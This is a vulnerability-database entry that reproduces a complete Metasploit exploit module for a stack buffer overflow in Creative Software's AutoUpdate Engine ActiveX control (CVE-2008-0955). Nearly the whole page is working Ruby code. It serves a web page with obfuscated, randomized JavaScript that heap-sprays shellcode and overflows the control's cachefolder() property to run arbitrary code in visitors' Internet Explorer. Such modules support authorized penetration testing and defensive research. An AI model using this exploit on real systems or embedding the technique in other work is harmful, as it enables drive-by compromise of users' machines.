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Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow

🗓️ 17 Jun 2008 15:11:17Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow. Stack buffer overflow in Creative Software AutoUpdate Engine when sending overly long string to cachefolder() property of CTSUEng.ocx allows arbitrary code execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When
        sending an overly long string to the cachefolder() property of CTSUEng.ocx
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC', ],
      'References'     =>
        [
          [ 'CVE', '2008-0955' ],
          [ 'OSVDB', '45655' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => '2008-05-28',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
        <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');
        var #{randnop} = "#{js_nops}";
        var #{rand2} = unescape(#{randnop});
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = ""
        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
        #{vname}.cachefolder(#{rand8});
        </script>
      </html>
      |

    # Randomize the whitespace in the document
    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

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